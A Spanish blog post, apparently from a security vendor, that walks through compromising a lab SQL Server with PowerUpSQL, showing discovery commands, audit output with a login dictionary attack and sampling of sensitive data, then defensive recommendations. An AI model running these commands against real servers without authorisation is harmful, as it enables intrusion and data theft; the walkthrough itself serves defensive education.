Comprometiendo SQL Server con PowerUpSQL
Si buscas un conjunto de herramientas para controlar Microsoft SQL Server de principio a fin, lo que necesitas es PowerUpSQL. Implementado en PowerShell y tan completo como se puede, PowerUpSQL tiene herramientas para descubrir, comprometer y dominar prácticamente cualquier sistema SQL. Es toda la cadena de ataque en una sola herramienta. Este artículo detalla cómo realizar los pasos críticos del ataque utilizando PowerUpSQL.
Contenido relacionado seleccionado:
Tenga en cuenta que tuvimos resultados muy variados con el sistema que estábamos utilizando, una versión muy básica de MS SQL 2012. Nos aseguraremos de destacar dónde variaron nuestros resultados con y sin derechos de administrador del sistema. Si necesita consejos sobre cómo obtener derechos de administrador a nivel de sistema, consulte nuestro catálogo de técnicas para atacar la infraestructura central de AD y nuestras publicaciones sobre ataques a cuentas de servicio de AD, ataques que explotan permisos mal configurados y nuestra serie sobre ataques con Mimikatz.
Descubrimiento
To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:
PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon : 1/9/2018 7:10 AM
Description :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com
LastLogon : 1/9/2018 7:10 AM
Descripción :
También está Get-SQLInstanceLocal, que realizará el mismo tipo de descubrimiento pero solo en la instancia local. La versión de dominio es más ruidosa, pero si solo tienes un lugar desde el cual atacar en la red, hará lo que necesitas. Si posees mucho más de la red y quieres emitir menos señales, ejecutar la versión local en cada sistema funcionará. En este caso, pudimos obtener resultados similares cuando éramos un usuario normal o un Administrador de Dominio.
Selección de objetivo
Una vez que tengas algunos sistemas MS SQL que quieras atacar — o si tienes muchos y estás intentando determinar cuáles son los mejores objetivos — es posible que quieras obtener más información sobre cada uno de ellos. Get?SQLServerInfo te proporcionará una instantánea de información útil sobre tu objetivo potencial. Ten en cuenta que parecía que necesitábamos derechos de administrador para obtener buenos resultados.
PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName : APP02
Instance : APP02
DomainName : SBCLOUDLAB
ServiceProcessID : 4980
ServiceName : MSSQLSERVER
ServiceAccount : NT ServiceMSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion : 2012
SQLServerEdition : Standard Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsMachineType : ServerNT
OSVersionName : Windows Server 2012 R2 Standard
OsVersionNumber : 6.2
Currentlogin : SBCLOUDLABjonathan
IsSysadmin : Yes
ActiveSessions : 1
Este ejemplo muestra una de las mejores características de PowerUpSQL: soporte para el piping. Como puedes ver, canalizamos los resultados de Get-SQLInstanceLocal en Get-SQLServerInfo, así que con un solo comando, podemos obtener resultados para todas las instancias SQL en la caja. De manera más amplia, puedes utilizar esta característica para construir fácilmente scripts de cracking que ejecuten operaciones complicadas rápidamente.
Encontrar exploits y datos sensibles
Utilizando lo que aprendemos de Get-SQLServerInfo, podríamos ir a las bibliotecas estándar de amenazas y vulnerabilidades y tomar algo para explotar este sistema. Pero no hay necesidad — PowerUpSQL tiene otro truco poderoso bajo la manga. El Invoke-SQLAudit cmdlet literalmente hará todo el trabajo de infiltración por ti. Verifica prácticamente todas las formas estándar de irrumpir en una base de datos, encontrar información sensible y exfiltrarla en un formato que puedas llevar contigo.
Cuando lo invoques, primero verás una avalancha de resultados como este:
PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>
Pero eso es solo el comienzo de Invoke-SQLAudit. Después de realizar todas las comprobaciones de nivel de permiso, verifica una por una vulnerabilidades específicas y conocidas e informa sobre lo que encuentra para cada una:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database master was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database tempdb was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Leer los resultados de este cmdlet, sin importar cuán vulnerable haya sido su objetivo, es como una clase magistral en exploits de SQL Server. Además, los autores han dejado el conjunto de herramientas abierto para extensión a medida que se encuentran nuevas vulnerabilidades y exploits. Por lo tanto, deberíamos esperar ver esta lista crecer con el tiempo.
Y eso no es todo. Una vez que termina con las vulnerabilidades, intenta encontrar datos que quizás quieras robar:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Estos resultados (ligeramente redactados por razones obvias) fueron solo dos de las muchas docenas encontradas en nuestro objetivo. Los autores incluso están comiendo su propia comida para perros mientras hacen esto. Estos resultados se encontraron utilizando el cmdlet “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”, como se indica en los resultados.
Escalada de Privilegios
Una de las decepciones al jugar con PowerUpSQL fue que el muy poderoso Invoke-SQLEscalatePriv nunca funcionó para nosotros. Intentamos con diferentes usuarios, hosts, tipos de ejecución (local y remota) y clases de derechos, pero nunca logró escalar el usuario. La razón parece ser los valores predeterminados en MS SQL 2012 Enterprise Edition. Esto es lo que vimos al ejecutar como un usuario no administrador:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
When we run as admin, we get these correct but unexciting results:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...
VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)
PS C:PowerUpSQL-master>
Leyendo en línea, este cmdlet parece que sí funciona para muchos otros.
Otras Funcionalidades
Uno puede imaginar fácilmente el uso de esta herramienta para tener una idea de qué atacar y luego enfocarse. Construiríamos un script, aprovechando al máximo el encadenamiento para encontrar dónde tenemos máximos derechos, y luego avanzar sobre los datos sensibles en cada uno de esos lugares.
Siempre pensamos en términos de exfiltración, pero ¿tal vez tu objetivo es la propiedad del sistema? PowerUpSQL también ofrece caminos hacia eso, pero veremos cómo hacerlo en la próxima publicación. De hecho, hay tanto en PowerUpSQL que podríamos seguir hablando mucho más tiempo. Sin embargo, los autores ya han hecho un buen trabajo cubriendo su herramienta por lo que nos detendremos aquí.
Defenderse contra PowerUpSQL
Ahora veamos qué puedes hacer para defenderte contra PowerUpSQL. La mala noticia para nuestra diversión fue una buena noticia para nuestros datos: Muchas de las cosas que parecían necesitar derechos de administrador en PowerUpSQL son manejadas por la postura de seguridad predeterminada de SQL 2012 Enterprise Edition. Sin embargo, los derechos de administrador son tan fáciles de vulnerar en la mayoría de las empresas hoy en día que esto parece una pequeña barrera para el éxito.
Sin embargo, hay algunos pasos comprobados que puede seguir para ayudar a proteger su organización:
- Aplique un modelo de privilegios mínimos para SQL Server. ¿Realmente necesitan los administradores locales y de dominio ser también administradores de base de datos SQL y sysadmins? Desarrolle una política escrita clara que detalle por qué y cuándo esto es necesario. Mantener estas funciones administrativas distintas evitará que un compromiso de una lleve al compromiso de la otra.
- Investigue el impacto en la seguridad de cualquier cambio en la configuración del sistema SQL. Los proveedores de aplicaciones a menudo exigen cambios en la configuración de seguridad solo para ahorrarse algunos pasos, y esos pasos pueden marcar la diferencia entre la seguridad y el compromiso. Una forma de averiguarlo es ejecutar un PowerUpSQL audit antes y después de realizar dichos cambios en sus sistemas de prueba y comparar los resultados.
- Asegúrese de que todas las contraseñas y datos sensibles estén enmascarados, hasheados o encriptados. Si los malos están tras los datos, esta es su mejor manera de impedir que los obtengan. Los sistemas siempre serán vulnerables, pero una encriptación decente es un muro de ladrillos para todos excepto para el enemigo más sofisticado. Si ese tipo de adversario está tras sus datos, entonces tiene preocupaciones de un orden superior.
- Siempre que sea posible, evite configuraciones riesgosas como la cadena de propiedad de bases de datos. Al igual que con los cambios en la configuración, características a nivel de base de datos como esta a menudo se utilizan solo para ahorrar tiempo a los desarrolladores. Asegúrese de que al menos se considere los riesgos cuando se estén contemplando estas configuraciones. A menudo, la parte más desafiante es descubrir dónde y cuándo están sucediendo esas conversaciones e influir en ellas.
- Asegúrese de que sus sistemas estén actualizados siguiendo un calendario que los mantenga lo más actualizados posible. Este puede ser el consejo más repetido en seguridad, pero es cierto. Muchas de las vulnerabilidades probadas aquí se habrían solucionado con un parcheo adecuado. Los parches no resuelven todos los problemas de seguridad, pero sí previenen ese gran vacío en el estómago cuando las cosas van mal y sabes que pudo haber sido (o definitivamente fue) debido a un parche faltante.
Cómo Netwrix puede ayudar
Las bases de datos a menudo contienen información altamente sensible, lo que las convierte en un objetivo principal para los atacantes. Para una seguridad robusta, los administradores de bases de datos necesitan visibilidad de su huella SQL completa, tanto en centros de datos locales como en la nube. Netwrix StealthAUDIT revela automáticamente dónde existen las bases de datos SQL, quién tiene acceso a ellas, cómo obtuvieron ese acceso, quién o qué está aprovechando sus privilegios de acceso, dónde reside la información sensible y cómo se ha configurado cada base de datos.
Compartir en
Ver ataques de ciberseguridad relacionados
Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa
Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa
Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa
Ataque Hafnium - Cómo funciona y estrategias de defensa
Ataques DCSync explicados: Amenaza a la seguridad de Active Directory
Ataque de Pass the Hash
Entendiendo los ataques de Golden Ticket
Ataque de Cuentas de Servicio Administradas por Grupo
Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa
ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención
Ataque de extracción de contraseñas de NTDS.dit
Ataque de Kerberoasting – Cómo funciona y estrategias de defensa
Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa
Ataque de Password Spraying
Ataque de extracción de contraseñas en texto plano
Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación
Ataques de ransomware a Active Directory
Desbloqueando Active Directory con el ataque Skeleton Key
Movimiento lateral: Qué es, cómo funciona y prevenciones
Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos
Ataque de Silver Ticket
4 ataques a cuentas de servicio y cómo protegerse contra ellos
¿Por qué es PowerShell tan popular entre los atacantes?
Cómo prevenir que los ataques de malware afecten a su negocio
¿Qué es Credential Stuffing?
¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?
Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)
Eludir MFA con el ataque Pass-the-Cookie
Ataque Golden SAML